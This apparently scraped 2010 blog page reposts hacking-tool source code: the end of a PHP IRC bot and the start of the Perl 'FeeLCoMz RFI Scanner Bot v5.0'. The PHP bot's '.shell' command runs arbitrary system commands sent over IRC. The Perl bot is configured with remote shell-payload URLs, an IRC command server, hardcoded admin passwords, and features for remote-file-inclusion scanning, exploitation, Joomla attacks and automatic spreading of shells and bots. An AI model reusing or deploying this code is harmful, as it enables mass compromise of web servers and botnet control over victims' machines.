                            elseif ($dCom[0]=='.ison' && $dCom[1] && $stboth==1) {
                                $dCom[1] = strtolower($dCom[1]);
                                if ($dCom[1]=="on") { $sysison ="on"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Ison is now On' . CRLF); }
                                elseif ($dCom[1]=="off") { $sysison ="off"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Ison is now Off' . CRLF); }
                            }
                            elseif ($dCom[0]=='.chanison' && $dCom[1] && $stboth==1) {
                                $dCom[1] = strtolower($dCom[1]);
                                    $chanson=$dCom[1];
                            }
                            elseif ($dCom[0]=='.addison' && $dCom[1] && !ereg(";",$dCom[1]) && $stboth==1) {
                                $addson=strtolower($dCom[1]);
                                $addgak=1;
                                $xplistson=explode(";",$mylistson);
                                foreach ($xplistson as $plist){
                                    if ($plist==$addson){$addgak=0;}
                                }
                                if($addgak==1){
                                    $mylistson = $mylistson . ';' . $addson;
                                    $mylistson=str_replace(";;","",$mylistson);
                                    $mylistson=ltrim($mylistson,";");
                                    $mylistson=str_replace(";;","",$mylistson);
                                    $mylistson=rtrim($mylistson,";");
                                    $mylistson=str_replace(";;","",$mylistson);
                                }
                                $llo=$mylistson;
                                $llll=str_replace(";"," ",$llo);
                                fputs($fp, 'PRIVMSG '.$fsrc[nick].' :LIST ISON '.$llll . CRLF);
                                unset($llll);
                                unset($xplistson);
                            }
                            elseif ($dCom[0]=='.delison' && $dCom[1] && $stboth==1) {
                                $delplist=strtolower($dCom[1]);
                                $mylistson=$mylistson;
                                $tmplistson="";
                                $xplistson=explode(";",$mylistson);
                                foreach ($xplistson as $plist){
                                    if($delplist<>$plist){
                                        $tmplistson = $tmplistson . ';' . $plist;
                                        $tmplistson=str_replace(";;","",$tmplistson);
                                        $tmplistson=ltrim($tmplistson,";");
                                        $tmplistson=str_replace(";;","",$tmplistson);
                                        $tmplistson=rtrim($tmplistson,";");
                                        $tmplistson=str_replace(";;","",$tmplistson);
                                    }
                                }
                                $mylistson=$tmplistson;
                                $llo=$mylistson;
                                $llll=str_replace(";"," ",$llo);
                                fputs($fp, 'PRIVMSG '.$fsrc[nick].' :LIST ISON '.$llll . CRLF);
                                unset($llll);
                                unset($xplistson);
                            }
                            elseif ($dCom[0]=='.greet' && $dCom[1] && $stboth==1){
                                $dCom[1] = strtolower($dCom[1]);
                                if ($dCom[1]=="on") { $sysgreet = "on"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Greet System is now '.$sysgreet . CRLF); }
                                elseif ($dCom[1]=="off") { $sysgreet = "off"; fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Greet System is now '.$sysgreet . CRLF); }
                            }
                            elseif($dCom[0]=='.addgreet' && $dCom[1] && $dCom[2] && $stboth==1){
                                $ddc=strtolower($dCom[1]);
                                $greetmsg["$ddc"]["nama"]=$dCom[1];
                                $mgreet=str_replace($comcom." ".$dCom[1]." ","",$TxtMsg);
                                $greetmsg["$ddc"]["msg"]=$mgreet;
                                fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Auto Greet For :'.$greetmsg["$ddc"]["nama"] . CRLF);
                                fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Auto Greet Msg :'.$greetmsg["$ddc"]["msg"] . CRLF);
                            }
                            elseif($dCom[0]=='.delgreet' && $dCom[1] && $stboth==1){
                                $eel=strtolower($dCom[1]);
                                unset($greetmsg["$eel"]["nama"]);
                                unset($greetmsg["$eel"]["msg"]);
                                fputs($fp, 'PRIVMSG '.$fsrc[nick].' :Delete Greet For :'.$eel . CRLF);
                            }
                            elseif ($dCom[0]=='.botnick') {
                                fputs($fp, 'PRIVMSG '.$fsrc[nick].' :My Nick Is :'.$bot['nick'] . CRLF);
                            }
                            elseif ($dCom[0]=='.banlist' && $dCom[1]) {
                                $bchan=$dCom[1];
                                if (!ereg("#",$dCom[1])) { $bchan="#".$dCom[1]; }
                                fputs($fp, 'MODE '.$bchan.' b' . CRLF);
                                $banlist["$bchan"]=$fsrc[nick];
                            }
                            elseif ($dCom[0]=='.userlist') {
                                $userlist="";
                                foreach ($auth as $ulist) {
                                    if ($ulist["pass"]) { $pass="-pass ok"; }
                                    else { $pass="-no pass"; }
                                    $userlist .= $ulist["name"].'('.$ulist["status"].$pass.') ';
                                }
                                fputs($fp, 'NOTICE '.$fsrc[nick].' :User List: '.$userlist . CRLF);
                            }
                            elseif ($dCom[0]=='.nicklist' && $dCom[1]) {
                                $nl_chan=explode(" ",$user_chan_arr[strtolower($dCom[1])]["nick"]);
                                foreach ( $nl_chan as $cur_xuser => $xuser){
                                    $limitshow++;
                                    $lx_user=$lx_user.' '. $xuser;
                                    if($limitshow==15){
                                    $lx_user.="[SP]";
                                    $limitshow=0;
                                    }
                                }
                                $lx_user=ltrim($lx_user);
                                $lx_user=rtrim($lx_user);
                                $lx_user=str_replace("  "," ",$lx_user);
                                $lx_user=str_replace("[SP] ","[SP]",$lx_user);
                                $lxuser=explode("[SP]",$lx_user);
                               
                                for ($i = 0; $i <= count($lxuser); $i++) {
                                if($lxuser[$i]){fputs($fp, 'NOTICE '.$fsrc[nick].' :Names '.$dCom[1].' - '.$lxuser[$i]. CRLF);}
                                }
                                unset($lxuser);
                                unset($lx_user);
                                unset($nl_chan);
                                unset($limitshow);

                            }
                            elseif ($dCom[0]=='.status') {
                                $modbot="";
                                if($sysastro=="on"){$modbot.=' [4A]sTRo';}
                                if($sysping=="on"){$modbot.=' [4P]iNG';}
                                if($sysspoof=="on"){$modbot.=' SPoo[4F]';}
                                if($sysversi=="on"){$modbot.=' V[4E]rSIoN';}
                                if($sysison=="on"){$modbot.=' [4I]soN';}
                                if($sysgreet=="on"){$modbot.=' [4G]rEEt';}
                                if($sysspy=="on"){$modbot.=' [4S]py';}
                                if($autoaway==true){$modbot.=' AUtoA[4W]ay';}
                                if($sysjoinonkick=="on"){$modbot.=' AuTo[4J]oIN';}
                                $modbot=ltrim($modbot);
                                $modbot=rtrim($modbot);
                                if($modbot==""){$modbot="[4PA]RKiR [4NI]c[4K]";}
                                fputs($fp,'PRIVMSG '.$Params[2].' :ACTION iS MODeS '.$modbot.''. CRLF);
                            }
                            elseif ($dCom[0]=='.help' && $cmdin==0) {
                                fputs($fp,'PING 12886241614'. CRLF);
                                $dlhelp=0;
                                foreach ($helpbot as $lhelp){
                                    $dlhelp++;
                                    if($dlhelp>=2){sleep(2);$dlhelp=0;}
                                    fputs($fp,'PRIVMSG '.$fsrc[nick].' :'.$lhelp. CRLF);
                                }
                                unset($lhelp);
                                unset($dlhelp);
                            }
                            elseif ($dCom[0]=='.shell' && $dCom[1] && $cmdin==1 && $stboth==1) {
                                $msg = str_replace($comcom." ","",$TxtMsg);
                                $msg=ltrim($msg);
                                fputs($fp,'PING 78456841614'. CRLF);
                                $exec = system("$msg > /tmp/cmdxtemp >&1");
                                $exec = system("wc -l /tmp/cmdxtemp");
                                $len = str_replace("     ","",$exec);
                                $len = str_replace(" /tmp/cmdxtemp","",$len);
                                $len = str_replace("    ","",$len);
                                $len = str_replace("   ","",$len);
                                $len = str_replace("  ","",$len);
                                $len = str_replace(" ","",$len);
                               
                                if ($len == 1){
                                    $ggr = system("cat /tmp/cmdxtemp");
                                    fputs($fp,'PRIVMSG '.$Params[2].' :'.$ggr. CRLF);
                                }
                                for($i=0;$i < $len;$i++)   {
                                    $perintah = system('cat /tmp/cmdxtemp | head -'.$i.' | tail -1');
                                    fputs($fp,'PRIVMSG '.$Params[2].' :'.$perintah. CRLF);
                                    sleep(2);
                                }
                                system("rm /tmp/cmdxtemp");
                            }



                        }
                       
                        ######### End Params Command Master ############

                        ########## Params Command Public ##############
                        elseif (substr($Params[3],0,2)==':!'){
                            if (strtolower($Params[3])==':!ping' && ereg('#',$Params[2]) && $sysping=="on") {
                                $sendping=time();
                                $ping["$sendping"]["ping"] = time();
                                $ping["$sendping"]["chan"] = $Params[2];
                                $idaway=0;
                                if($isaway){fputs($fp,'AWAY'. CRLF);$isaway=false;}
                                fputs($fp,'PRIVMSG '.$fsrc[nick].' :PING '.$ping["$sendping"]["ping"].'' . CRLF);
                            }
                            elseif (strtolower($Params[3])==':!versi' && ereg('#',$Params[2]) && $sysversi=="on") {
                                fputs($fp,'PRIVMSG '.$Params[4].' :VERSION'. CRLF);
                                $datversi[strtolower($Params[4])]["nick"]=strtolower($Params[4]);
                                $datversi[strtolower($Params[4])]["chan"]=$Params[2];
                            }
                            elseif (strtolower($Params[3])==':!potong' && ereg('#',$Params[2])) {
                                $pilihanwar=strtolower($Params[4]);
                                $warnabenar=strtolower($warnabenar);
                                if(strtolower($Params[2])==strtolower($chanboom)){
                                    if(strtolower($fsrc[nkecil])==strtolower($targetboom)){
                                        if($pilihanwar==strtolower($bw[0]) || $pilihanwar==strtolower($bw[1]) || $pilihanwar=="biru" ){
                                            if($warnabenar==$pilihanwar){
                                                fputs($fp,'PRIVMSG '.$chanboom.' :Selamat '.$fsrc[nick].', kamu berhasil menjinakan Bom!!'. CRLF);
                                                fputs($fp, 'MODE '.$chanboom.' +vvv '.$fsrc[nick]. CRLF);
                                            }
                                            else{
                                                fputs($fp, 'PRIVMSG CHANSERV :KICK '.$chanboom.' '. $fsrc[nick].' 0,4BOOOOOOMMMM!!!!!'  . CRLF);
                                                fputs($fp, 'KICK '.$chanboom.' '. $fsrc[nick].' :0,4BOOOOOOMMMM!!!!!'  . CRLF);
                                            }
                                            $goboom=0;
                                            $onboom="off";
                                            $targetboom="";
                                        }
                                    }
                                }
                            }
                            elseif (strtolower($Params[3])==':!bom' && ereg('#',$Params[2]) && $sysboom="on") {
                                if(strtolower($Params[2])==strtolower($chanboom) && $onboom=="off" && strtolower($Params[3])!=strtolower($bot['nick'])){
                                    if(strpos(strtolower($user_chan_arr[strtolower($Params[2])]["nick"]),' '.strtolower($Params[4]).' ')){
                                        $onboom="on";
                                        $goboom=0;
                                        $targetboom=$Params[4];
                                        $tmpwbom=$warnaboom;
                                        $wrnb=explode(";",$tmpwbom);
                                        $bw[0]=$wrnb[rand(0,count($wrnb) - 1)];
                                        unset($wrnb);
                                        $tmpwbom=str_replace($bw[0],"",$tmpwbom);
                                        $tmpwbom=str_replace(";;",";",$tmpwbom);
                                        $wrnb=explode(";",$tmpwbom);
                                        $bw[1]=$wrnb[rand(0,count($wrnb) - 1)];
                                        unset($wrnb);
                                        $tmboom=time();
                                       
                                        $warnabenar=$bw[rand(0,count($bw) - 1)];
                                       
                                        fputs($fp,'PRIVMSG '.$Params[2]." :ACTION memasukan 4[0,4  T N T  4]1-----4`,'. ke dalam baju ".$Params[4].''. CRLF);
                                        fputs($fp,'PRIVMSG '.$Params[2].' :'.$Params[4].'!! km punya waktu ['.$timeboom.'] detik. Jinakkan Bom dengan memotong kabel yg benar. Dan hanya ada tiga kabel. '.$bw[0] .', '.$bw[1].' dan Biru'. CRLF);
                                        fputs($fp, 'MODE '.$chanboom.' -vvv '.$Params[4]. CRLF);
                                    }
                                }
                            }
                            elseif (strtolower($Params[3])==":!spoof" && ereg('#',$Params[2]) && $sysspoof=="on") {
                                $spoofnya=strtolower($Params[4]);
                              if ($Params[5]<=$jmlspoof["$spoofnya"] && $Params[5]>0){
                                 fputs($fp,'PRIVMSG '.$Params[2].' :15(04Spoof15) Ident: 4' . $isisp["$Params[5]"]["$spoofnya"]["ident"] .' Spoof: 4' . $isisp["$Params[5]"]["$spoofnya"]["spoof"] .' Passw: 4' . $isisp["$Params[5]"]["$spoofnya"]["pass"].''. CRLF);
                              }
                              else {
                                fputs($fp,'PRIVMSG '.$Params[2].' :15(04Spoof15) Request Error'. CRLF);
                              }
                            }
                            elseif (strtolower($Params[3])==':!update' && ereg('#',$Params[2]) && $sysspoof=="on") {
                                fputs($fp,'PING 3424234328'. CRLF);
                                $spoof=strtolower($Params[4]);
                                $spallnet = "http://www.allnetwork.or.id/Pendaftaran/Personal_spoof/?mode=view&server=$spoof";
                                //$spallnet="http://localhost/spoof1.html";
                                $handisp = fopen ($spallnet, "rb");
                                $kontensp = "";
                                do {
                                    $barissp = fread($handisp, 512);
                                    if (strlen($barissp) == 0) { break; }
                                        $kontensp .= $barissp;
                                } while(true);
                                fclose ($handisp);
                                $kontensp=strtolower($kontensp);
                                $kontensp = str_replace("  "," ",$kontensp);
                                $kontensp = str_replace("\n","",$kontensp);
                                $kontensp = str_replace(chr(9),"",$kontensp);
                                $kontensp = str_replace("\r","",$kontensp);
                                $kontensp = str_replace("<td align=right colspan=10>","<td colspan=10 align=right>",$kontensp);
                                for ($i = 1; $i <= 10; $i++) {
                                $kontensp = str_replace("  "," ",$kontensp);
                                }
                                $kontensp = str_replace("<tr bgcolor=yellow> <td colspan=10 align=right>","<tr bgcolor=yellow><td colspan=10 align=right>",$kontensp);
                                $tmpjml1=stristr($kontensp,"<tr bgcolor=yellow><td colspan=10 align=right>found ");
                                $tmpjml2=stristr($kontensp," data</td></tr>");
                               
                                $tmpjml=str_replace($tmpjml2,"",$tmpjml1);
                                $tmpjml=str_replace("<tr bgcolor=yellow><td colspan=10 align=right>found ","",$tmpjml);
                                $kontensp = str_replace("</td> <td>","</td><td>",$kontensp);
                                $kontensp = str_replace("<tr bgcolor=white> <td align=right>","<tr bgcolor=white><td align=right>",$kontensp);
                                $kontensp = str_replace("</tr> <tr","</tr><tr",$kontensp);
                                $kontensp =  str_replace(" </td>","</td>",$kontensp);
                                $kontensp =str_replace("> <td","><td",$kontensp);
                                for ($i = 1; $i <= $tmpjml; $i++) {
                                    if ($i==$tmpjml){
                                    $identsp="";$spoofsp="";$passsp="";
                                    $tmpdata1=stristr($kontensp,"<td align=right>".$i."</td>");
                                    $tmpdata1=substr($tmpdata1,0,strpos($tmpdata1,"<tr bgcolor=#1b6cf7>"));
                                    $tmpdata1=str_replace("<td align=right>".$i."</td><td>".$spoof."</td><td>","",$tmpdata1);
                                    $identsp=substr($tmpdata1,0,strpos($tmpdata1,"</td><td>"));
                                    $tmpdata1=str_replace($identsp."</td><td>","",$tmpdata1);
                                    $spoofsp=substr($tmpdata1,0,strpos($tmpdata1,"</td><td>"));
                                    $tmpdata1=str_replace($spoofsp."</td><td>","",$tmpdata1);
                                    $passsp=substr($tmpdata1,0,strpos($tmpdata1,"</td></tr>"));
                                    $isisp[$i]["$spoof"]['ident']=$identsp;
                                    $isisp[$i]["$spoof"]['spoof']=$spoofsp;
                                    $isisp[$i]["$spoof"]['pass']=$passsp;
                                    }
                                    else{
                                    $identsp="";$spoofsp="";$passsp="";
                                    $tmpdata1=stristr($kontensp,"<td align=right>".$i."</td>");
                                    $tmpdata1=substr($tmpdata1,0,strpos($tmpdata1,"<tr bgcolor=white>"));
                                    $tmpdata1=str_replace("<td align=right>".$i."</td><td>".$spoof."</td><td>","",$tmpdata1);
                                    $identsp=substr($tmpdata1,0,strpos($tmpdata1,"</td><td>"));
                                    $tmpdata1=str_replace($identsp."</td><td>","",$tmpdata1);
                                    $spoofsp=substr($tmpdata1,0,strpos($tmpdata1,"</td><td>"));
                                    $tmpdata1=str_replace($spoofsp."</td><td>","",$tmpdata1);
                                    $passsp=substr($tmpdata1,0,strpos($tmpdata1,"</td></tr>"));
                               
                                    $isisp[$i]["$spoof"]['ident']=$identsp;
                                    $isisp[$i]["$spoof"]['spoof']=$spoofsp;
                                    $isisp[$i]["$spoof"]['pass']=$passsp;
                                    }
                                }
                                    $jmlspoof["$spoof"]=$tmpjml;
                                    fputs($fp,'PRIVMSG '.$Params[2].' :15(04Spoof15) Update Complete! FOUND :'.$tmpjml. ' Spoof'. CRLF);
                            }
                            elseif (ereg(':!astro',strtolower($Params[3])) && ereg('#',$Params[2]) && $sysastro=="on") {
                            fputs($fp,'PING 3424234328'. CRLF);
                                $astro = strtolower($Params[4]);
                                if (in_array($astro, $zodiak)) {
                                    $pages = "http://www.astaga.com/astrologi/?cat=$astro";
                                    $handi = fopen ($pages, "rb");
                                    $konten = "";
                                    do {
                                           $baris = fread($handi, 512);
                                       if (strlen($baris) == 0) { break; }
                                           $konten .= $baris;
                                   } while(true);
                                    fclose ($handi);
                                $zod1 = stristr($konten,'<td id=ast><p>');
                                $zod2 = stristr($zod1,'</table>');
                                $bintang = str_replace($zod2,"",$zod1);
                                $bintang = str_replace("\n","",$bintang);
                                $bintang = str_replace("<td id=ast><p>","".ucfirst(strtolower($astro))." ",$bintang);
                                $bintang = str_replace("</p>"," ",$bintang);
                                $bintang = str_replace("<p><b>","",$bintang);
                                $bintang = str_replace("</b>","",$bintang);
                                $bintang = str_replace("</td>","",$bintang);
                                $bintang = str_replace("<b>","",$bintang);
                                $bintang = str_replace("</td>","",$bintang);
                                $bintang = str_replace("</tr>","",$bintang);
                                $bintang = str_replace("<tr>","",$bintang);
                                $zod3 = stristr($bintang,'<td colspan=2 id=ast bgcolor="#e0e0e0">');
                                $bintang = str_replace($zod3,"",$bintang);
                                fputs($fp,'PRIVMSG '.$Params[2].' :15(04Astro15) '.$bintang . ' (Astaga.com)'. CRLF);
                                }
                            }
                            elseif (strtolower($Params[3])==":!sms" && $Params[5] && ereg('#',$Params[2]) && $syssms=="on") {
                                fputs($fp,'PING 3424234328'. CRLF);
                                $msgsms=str_replace($Params[3]." ".$Params[4]." ","",":".$TxtMsg);
                                                                $fpsms = fsockopen($smsx['host'], $smsx['port'], $errno, $errstr);
                                                                if($udahno!=$Params[4]){
                                    if (!$fpsms) {
                                    fputs($fp,'PRIVMSG ' . $Params[2] . ' :SMS dari [12' . $fsrc[nick] . '] 4Gagal Dikirim...' . CRLF);
                                    }
                                    else {
                                    fputs($fp,'PRIVMSG ' . $Params[2] . ' :7Harap Tunggu!! Sedang Mengirim Sms [12' . $fsrc[nick] . ']...' . CRLF);

                                                                        $lencharmsg = 120 - strlen($msgsms);
                                                                        $msgx['send']="recipient=" . $Params[4] . "&message=" . $msgsms . "&remainchars=" . $lencharmsg . "&Submit=Kirim";
                                                                        $msgx['len']=strlen($msgx['send']);
                                                                       
                                                                        $client['user-agent']="User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4)\r\n";
                                                                        $client['accept-language']="Accept-Language: en-us,en;q=0.5\r\n";
                                                                        $client['accept-encoding']="Accept -Encoding: gzip , deflate\r\n";
                                                                        $client['accept-charset']="Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
                                                                        $client['referer']=$smsx['path'] . "\r\n";
                                                                        $client['content-type']="Content-Type: application/x-www-form-urlencoded\r\n";
                                                                        $client['content-lenght']="Content-Length: " . $msgx['len'] . "\r\n\r\n";
                                    $out ='POST ' . $smsx['path'] . " HTTP/1.1\r\n";
                                    $out .="HOST: " . $smsx['host'] . "\r\n";
                                    $out .=$client['user-agent'];
                                    $out .=$client['accept-language'];
                                    $out .=$client['accept-encoding'];
                                    $out .=$client['accept-charset'];
                                    $out .=$client['referer'];
                                    $out .=$client['content-type'];
                                    $out .=$client['content-lenght'];
                                    $out .=$msgx['send'] . "\r\n\r\n";
                                    echo $out;
                                    fwrite($fpsms, $out);
                                    while (!feof($fpsms)) {
                                        $shoutcastpage .= fgets($fpsms, 8192);
                                    }
                                    fclose($fpsms);
                                    fputs($fp,'PRIVMSG ' . $Params[2] . ' :SMS dari [12' . $fsrc[nick] . '] 3Sukses Terkirim...' . CRLF);
                                    $udahno=$Params[4];

                                    }
                                                                }
                                                                else{
                                                                    fputs($fp,'PRIVMSG ' . $Params[2] . ' :Sms [12' . $fsrc[nick] . '] 4gagal di kirim. No.Hp tdk bleh berturut2 sama' . CRLF);
                                                            }




                            }
                        }
                        ########## End Command Public ###############

                    }

                    ################ END RAW ################
                }
                elseif ( substr($DataLine,0,4) == 'PING' ) {
                        fputs($fp,'PONG ' . substr($DataLine,5) . CRLF);
                      }
                $response ="";
            }
        }
    fclose ($fp);
    unset ($fp);
    unset ($Header);
}

} while ($keluar==0);
############### END ##################################################
?>

'webhxxx > RFI bot' 카테고리의 다른 글

FeeLCoMz RFI Scanner Bot v5.3  (0) 2010.04.18
fx29sh 3.3.03.09  (0) 2010.04.18
RFI Bot 재현  (0) 2010.04.18
irc서버올리기  (0) 2010.03.04
FeeLCoMz RFI Bot  (0) 2010.02.23
Posted by applicationlayer
:

irc서버올리기

webhxxx/RFI bot 2010. 3. 4. 15:13 |

'webhxxx > RFI bot' 카테고리의 다른 글

FeeLCoMz RFI Scanner Bot v5.3  (0) 2010.04.18
fx29sh 3.3.03.09  (0) 2010.04.18
RFI Bot 재현  (0) 2010.04.18
Fx29spreadz  (0) 2010.03.06
FeeLCoMz RFI Bot  (0) 2010.02.23
Posted by applicationlayer
:

FeeLCoMz RFI Bot

webhxxx/RFI bot 2010. 2. 23. 22:11 |
#!/usr/bin/perl

print('
###############################################
## FeeLCoMz RFI Scanner Bot v5.0             ##
## By ricky                         ##
## ? Agu 2008 - Feb 2009, FeeLCoMz Community ##
## http://feelcomz.co.cc                     ##
###############################################
');
######################################################
## Usage:                                           ##
##   perl feelscanz.pl <chan w/o #> <server> <port> ##
## Notes:                                           ##
## + All Parameters are optional                    ##
##                                                  ##
## Features:                                        ##
## + RFI Scanner                                    ##
## + RFI Scan & Exploit (Exploit per engine)        ##
## + Joomla RFI Scan & Exploit                      ##
## + Milw0rm Search                                 ##
## + Google bypass (Using PHP)                      ##
## + Message Spy & Save                             ##
## + Auto Spreading                                 ##
######################################################
## History:
## + Fixed cryptz command (v4.5)
## + Fixed user commands execution by unauthorized user (v4.6) (thanks to ajegile)
## + Added options to enable/disable encrypted password (v4.7)
## + Fixed missing hostname on sublink (v4.8)
## + Added links filter to exclude exploiting bad links (v4.9)
## + Fixed private message scanning (v4.9.2) (thanks to BLood_roSE)
## + Added spread configuration (v5.0)

my $processo = '/usr/sbin/httpd';

use strict;

use IO::Socket::INET;
use LWP::UserAgent;
use HTTP::Request;

my $versi   = "v5.0";
my $cmdpre  = "!"; #Command Prefix

##[ KONFIGURASI URL ]##
my $fx29id  = "http://www.seorakhoney.com/shop/mail/id1.txt??"; #Fx29ID (Simple) / (Advanced)
my $fx29id2 = "http://www.seorakhoney.com/shop/mail/id2.txt???"; #Fx29ID (Advanced)
my $fx29sh  = " http://cafe5.fileave.com/c100.txt???  "; #Fx29Sh (Optional)
my $bypass  = "http://cafe5.fileave.com/spread.txt???"; #Google Bypasserz (Optional)

##[ KONFIGURASI SOURCE ]##
my $mysite  = "http://www.therockcc.org/calendarevents/"; #Path to Sources URL (Optional)
my $spread  = $mysite."vie.txt?"; #Fx29Spreadz (Optional)
my $joomlaz = $mysite."bugz/joomla.txt"; #Joomla's Bugs List (Required for Joomla RFI Scanner)

##[ KONFIGURASI IRC ]##
my @servers = ("212.110.128.68"); #IRC Servers (Separated by coma)
my %bot     = (
  nick    => "[SStepheN][".int(rand(100))."]",
  ident   => "[StepheN]l".int(rand(100)),
  chan    => ["#StepheN"], #Channels to join (Separated by coma)
  server  => $servers[rand(scalar(@servers))],
  port    => "6667"
);

##[ KONFIGURASI USER ##
## status: admin, user
## cryptz: 0 = Non-Encrypted Password, 1 = Encrypted Password
my %boss = (
  StepheN => {
    pass   => 'london12',
    status => "admin",
    cryptz => 0,
    login  => 0
  },
  StepheN => {
    pass   => 'london12',
    status => "admin",
    cryptz => 0,
    login  => 0
  },
);

##[ KONFIGURASI SPY ]##
my %spy = (
  host   => "", #Channels to show spied text
  chanz  => [""], #Channels to spy (Separated by coma)
  wordz  => ['http://.+?[=]'], #Text to spy (Regex, Separated by coma)
  foundz => []
);

##[ KONFIGURASI BOT ]##
## Options: 0 = Disable, 1 = Enable
my %conf = (
  showsite => 1, #Show link to debug channel (Yes/No)
  linez    => 3, #Lines per message
  sleepz   => 3, #Message delay per linez (seconds)
  rfipid   => 50, #Sites per proccess
  rficnt   => 100, #Counter setting
  rficnt2  => 200, #Counter setting
  timeout  => 4, #Http socket time out
);

##[ KONFIGURASI SPREAD ]##
## Options: 0 = Disable, 1 = Enable
my %spreadconf = (
  shellz   => 0, #Upload PHP Shell (Yes/No)
  botz     => 1, #Run PHP Bot (Yes/No)
  scannerz => 1, #Run RFI Scanner (Yes/No)
  psybnc   => 0, #Run psyBNC (Yes/No)
);

##[ KONFIGURASI WARNA ]##
my %colz = (
  1 => "[] " , 2 => " [!]", #Header
  3 => "[revoCrEw] " , 4 => " [revoCrEw]", #Proses
);

##[ PARAMETER BARIS PERINTAH ]##
$bot{chan}   = "#".$ARGV[0] if $ARGV[0];
$bot{server} = $ARGV[1] if $ARGV[1];
$bot{port}   = $ARGV[2] if $ARGV[2];

##[ INISIALISASI VARIABEL ]##
my $chanx    = "#revo"; #2nd Channel to show the results of vurnerable site
my $dbgchan  = "#kantap"; #For debugging purposes (Optional)
my @chans    = ($bot{chan});
my @badbugz  = ("scan","bug"); #Bad bugs to cancel scanning
my @baddorkz = ("dork"); #Bad dorks to cancel scanning
my @badlinkz = ("access*log","accesslog","awstats","error.log","wwwstats","google.com"); #Bad links to exclude
my $keluar   = 0;
my $sock;

##[ KONFIGURASI LOCALTESTING ]##
my $tez = $ARGV[3];
if ($tez == 1) {
  my $situs = "http://localhost/fx29sh/";
  $fx29id   = $situs."fx29id1.txt?";
  $fx29id2  = $situs."fx29id2.txt?";
  $fx29sh   = $situs."fx29sh.txt?";
}

##[ PROGRAM UTAMA ]##
if (fork() == 0) {
  while ($keluar != 1) { irc_connect(); }
  die("KeLuaR!");
}

##[ SUBRUTIN KONEKSI IRC ]##
sub irc_connect {
  $sock = IO::Socket::INET->new(PeerAddr => $bot{server},
                                PeerPort => $bot{port},
                                Proto    => 'tcp')
                            or die "Error: Ga bisa connect ke ".$bot{server}.":".$bot{port}."!\r\n";
  $sock->autoflush(1);

  irc_nick($bot{nick});
  irc_user($bot{ident});

  my ($baris,$hb);
  my $loginboss = 0;
  my $userstat  = "";

  while ( $baris = <$sock> ) {
    $hb++;

    ##[ PARSING ]##
    my $com;
    my $me = $bot{nick};
    my ($fcom,$dteks,@teks) = split(/\s+:/,$baris);
    my ($duhost,$dcom,$dtarget) = split(/ /,$fcom);
    my ($dnick,$dhost) = split(/!/,$duhost);
    $dcom    = "" unless ($dcom);
    $dtarget = "" unless ($dtarget);
    $dnick =~ s/://;
    $dteks = trimrn($dteks);
    if ($dteks =~ /^[$cmdpre](.*)/) { $com = $1; } else { $com = ""; }

    print $baris."\n$dnick | $dcom | $dtarget : $dteks\n";

    ##[ CEK USER ]##
    if   ($boss{$dnick}) { ($loginboss,$userstat) = ($boss{$dnick}{"login"},$boss{$dnick}{"status"}); }
    else { ($loginboss,$userstat) = (0,""); }

    ##[ RESPON KE SERVER ]##
    if    ($dnick =~ /PING/) { irc_raw("PONG $dteks"); }
    if    ($dcom =~ /001/) { irc_join($chanx); irc_join($dbgchan); foreach my $c (@chans) { irc_join($c); } }
    elsif ($dcom =~ /NICK|PART|QUIT/) { if ( $boss{$dnick}{"login"} == 1 ) { $boss{$dnick}{"login"} = 0; irc_ntc($dnick,"Logout!");  } }

    ##[ PERINTAH PUBLIK ]##
    if    (($dtarget) && ($dtarget eq $me)) { $dtarget = $dnick; }
    if    ($com =~ /^help$/) { bot_help($dtarget,1); }
    elsif ($com =~ /^info$/) { bot_info($dtarget); }
    elsif ($com =~ /^url(en|de)\s+(.*)/) {
      my $url = $2; my $en;
      if    ( $1 eq "en" ) { $en = "Encode"; $url = urlen($url); }
      elsif ( $1 eq "de" ) { $en = "Decode"; $url = urlde($url); }
      msgi($dtarget,"URL $en", $url);
    }
    elsif ($com =~ /^cek\s+(http:\/\/.*[=])/) { cek_shell($dtarget,$dnick,$1); }
    elsif ($com =~ /^respon/) { cek_respon($dtarget); }
    elsif ($com =~ /^milw0rm\s+(.*)/) { milw0rm($dtarget,$1); }
    elsif ($com =~ /^auth$|auth\s+(.*)/ && $boss{$dnick}) {
      my $pass = $1; my $auth = $boss{$dnick}{"login"};
      if ( $pass && $auth == 0 ) {
        if ($boss{$dnick}{"cryptz"} == 1) { $pass = cryptz($pass); }
        if ($pass eq $boss{$dnick}{"pass"}) {
          $boss{$dnick}{"login"} = 1;
          irc_ntc($dnick,"siap ".$boss{$dnick}{"status"}."!");
        }
        else { irc_ntc($dnick,"Error!"); }
      }
      else {
        if ($auth == 0) { irc_ntc($dnick,"Blom auth!"); }
        else { irc_ntc($dnick,$boss{$dnick}{"status"}."!"); } }
    }
    if (($dtarget) && ($dtarget ne $dnick)) {
      if    (($com =~ /^scan\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,$1,$2,$hb,1); exit;  }
      elsif (($com =~ /^scan2\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,$1,$2,$hb,2); exit; }
    }
    ##[ END OF PUBLIC ]##

    ##[ PERINTAH USER ]##
    if ($loginboss == 1) {
      if    ($com =~ /^help/) { bot_help($dtarget,2); }
      elsif ($com =~ /^join\s+(.*)/) { irc_join($1); push(@chans,$1); }
      elsif ($com =~ /^part\s+(.*)/) {
        my $pchan = $1; irc_part($1);
        for my $i(0..scalar(@chans)) { if ($chans[$i] eq $pchan) { undef $chans[$i]; } }
      }
      elsif ($com =~ /^nick\s+(.*)/) { $bot{nick} = $1; irc_nick($bot{nick}); }
      elsif ($com =~ /^hitung\s+([0-9].*)/) { $conf{rficnt} = $1; msgi($dtarget,"RFI Count",$conf{rficnt}); }
      elsif ($com =~ /^bos$/ ) { my @bos = keys %boss; my $bos2 = join(" ",@bos); msgi($dtarget,"BoZz",$bos2); }
      elsif ($com =~ /^cryptz\s+(.*)/) { msgi($dnick,$1,cryptz($1)); }
      elsif ($com =~ /^logout$/ ) { $boss{$dnick}{"login"} = 0; irc_ntc($dnick,"Logout berhasil!"); }
